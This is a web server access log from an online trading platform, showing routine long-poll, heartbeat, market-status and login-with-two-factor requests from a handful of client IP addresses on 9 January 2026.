[09/Jan/2026:11:26:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929476235 HTTP/1.1" -
[09/Jan/2026:11:26:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929460923 HTTP/1.1" -
[09/Jan/2026:11:26:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929467629 HTTP/1.1" -
[09/Jan/2026:11:26:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929465991 HTTP/1.1" -
[09/Jan/2026:11:26:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929482232 HTTP/1.1" -
[09/Jan/2026:11:26:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:26:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:26:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929472759 HTTP/1.1" -
[09/Jan/2026:11:26:43 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929471063 HTTP/1.1" -
[09/Jan/2026:11:26:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929488229 HTTP/1.1" -
[09/Jan/2026:11:26:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929477888 HTTP/1.1" -
[09/Jan/2026:11:26:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929476181 HTTP/1.1" -
[09/Jan/2026:11:26:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:26:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929494232 HTTP/1.1" -
[09/Jan/2026:11:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:26:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929483037 HTTP/1.1" -
[09/Jan/2026:11:26:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:26:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:26:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929481250 HTTP/1.1" -
[09/Jan/2026:11:26:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929488108 HTTP/1.1" -
[09/Jan/2026:11:26:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929500231 HTTP/1.1" -
[09/Jan/2026:11:26:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929486289 HTTP/1.1" -
[09/Jan/2026:11:27:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929493221 HTTP/1.1" -
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929491731 HTTP/1.1" -
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:11:27:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929506232 HTTP/1.1" -
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767929491934 HTTP/1.1" 3179
[09/Jan/2026:11:27:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:27:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929491374 HTTP/1.1" -
[09/Jan/2026:11:27:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929498351 HTTP/1.1" -
[09/Jan/2026:11:27:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929512235 HTTP/1.1" -
[09/Jan/2026:11:27:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929496401 HTTP/1.1" -
[09/Jan/2026:11:27:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929503548 HTTP/1.1" -
[09/Jan/2026:11:27:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929501612 HTTP/1.1" -
[09/Jan/2026:11:27:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929518226 HTTP/1.1" -
[09/Jan/2026:11:27:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929508703 HTTP/1.1" -
[09/Jan/2026:11:27:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:11:27:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:11:27:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:27:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:27:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929506677 HTTP/1.1" -
[09/Jan/2026:11:27:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:27:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 454
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/2FA_authentication.html?language=sc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161913 HTTP/1.1" 1953
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161913 HTTP/1.1" 33
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767929509460 HTTP/1.1" 3179
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:11:27:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:27:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929524235 HTTP/1.1" -
[09/Jan/2026:11:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:27:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929513834 HTTP/1.1" -
[09/Jan/2026:11:27:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
